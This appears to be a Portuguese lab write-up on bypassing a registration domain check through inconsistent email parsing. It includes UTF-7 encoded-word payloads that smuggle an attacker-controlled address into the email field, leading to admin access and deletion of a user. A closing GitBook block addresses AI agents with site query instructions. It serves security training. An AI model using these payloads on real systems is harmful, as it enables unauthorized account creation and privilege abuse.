> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md).

# Contornando Controles de Acesso por Análise Inconsistente de Endereços de E-mail

### Ignorando controles de acesso usando discrepâncias na análise de endereços de e-mail

#### Descrição do laboratório

Este laboratório implementa validação de endereço de e-mail para impedir o registro com domínios não autorizados. / No entanto, há uma inconsistência entre a lógica de validação do lado da aplicação e a biblioteca usada para interpretar de fato os endereços de e-mail.

Usando essa diferença na análise, é possível se cadastrar com um endereço de e-mail externo enquanto se contorna a restrição do domínio autorizado e, então, acessar recursos de administrador e excluir usuário **carlos**.

<figure><img src="/files/6deaf6bf03df8915bc5c2ffa0d530969fad2a4bd" alt=""><figcaption></figcaption></figure>

#### Restrição de cadastro

Ao tentar se cadastrar com um endereço clássico como:

```
test@jord4n.pro
```

A aplicação recusa o cadastro e informa que apenas endereços pertencentes ao seguinte domínio são permitidos:

```
ginandjuice.shop
```

<figure><img src="/files/19158ae89e8b1a58e0b38031be5b78302d964019" alt=""><figcaption></figcaption></figure>

Um cadastro legítimo com esse domínio então aciona um e-mail de confirmação:

```
Verifique seus e-mails para o link de registro da sua conta
```

<figure><img src="/files/adeab30ebab9980272c48e48d186c26d65ca07ed" alt=""><figcaption></figcaption></figure>

Portanto, é necessário receber este e-mail para finalizar o cadastro.

#### Origem da vulnerabilidade

<figure><img src="/files/118ecda449bdf44e13cc89fd5d122224327d67b1" alt=""><figcaption></figcaption></figure>

A falha se baseia no uso de um **Encoded-word** (RFC 2047), cujo formato é o seguinte:

```bash
=?<charset>?<encoding>?<encoded-text>?=
```

Esse mecanismo permite codificar certas partes de um endereço de e-mail.

O validador da aplicação rejeita algumas codificações, enquanto o analisador final de e-mails as interpreta corretamente.

#### Bloco inicial

Uma tentativa simples de codificação em UTF-8 (quoted-printable) é bloqueada pelo WAF:

```bash
=?utf-8?q?=61=62=63?=@ginandjuice.shop
```

Resposta

```bash
Cadastro bloqueado por motivos de segurança
```

<figure><img src="/files/efe317cb7e3caa0177a0904ead66a015e17f9e42" alt=""><figcaption></figcaption></figure>

#### Técnica de bypass

Para contornar essa filtragem, **codificação UTF-7 com Base64** é usada.

Princípio:

* Codifique um caractere em UTF-16

<figure><img src="/files/ed9e689a40f7e7ebd54bdde007a4039b24a3411e" alt=""><figcaption></figcaption></figure>

* Converta esse resultado para Base64

<figure><img src="/files/01168e719f4fc26b7925baec57d8b3e8e5a6c771" alt=""><figcaption></figcaption></figure>

* Use em um Encoded-word UTF-7

Exemplo de codificação de caractere `um`:

* UTF-16 → Base64 : `AGE=`

Payload mínimo funcional:

```bash
=?utf-7?&AGE-=?=@ginandjuice.shop
```

Esse valor é aceito pela lógica de validação.

<figure><img src="/files/f4cb83810a68f9f1ca7d5e71dd8888b61bb920e8" alt=""><figcaption></figcaption></figure>

#### Operação completa com um endereço controlado

Endereço do atacante:

```bash
attacker@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net
```

Construção do payload:

* `&AEA-` representa `@`
* `&ACA-` representa um espaço, impedindo uma interpretação estrita do domínio final

<figure><img src="/files/81a6d2fbf32ff72823ec4c58e901f6097fad53fc" alt=""><figcaption></figcaption></figure>

Payload final usado ao se cadastrar:

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>=?utf-7?q?jordan&#x26;AEA-exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net&#x26;ACA-?=@ginandjuice.shop
</strong></code></pre>

<figure><img src="/files/06f9bbee7b539f85f6a4f64fe69306ac2e57f328" alt="" width="563"><figcaption></figcaption></figure>

Endereço realmente interpretado pelo servidor de e-mail:

```bash
jordan@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net @ginandjuice.shop
```

<figure><img src="/files/b472bed6355ad869648ed2277e7af3a780a2e26d" alt=""><figcaption></figcaption></figure>

#### Resultado

* A aplicação valida o endereço porque ele termina com `@ginandjuice.shop`

<figure><img src="/files/b30ffca02e0b77081f5dffdc723d82e0862887a7" alt=""><figcaption></figcaption></figure>

* O servidor de e-mail envia a mensagem para o endereço controlado pelo atacante
* Link de confirmação recebido
* O cadastro é concluído com sucesso
* O acesso à aplicação é obtido
* Ações administrativas tornam-se possíveis, incluindo a exclusão de usuário **carlos**

<figure><img src="/files/00c388a08a2c0704459ec6d305a1a6bad2c95208" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
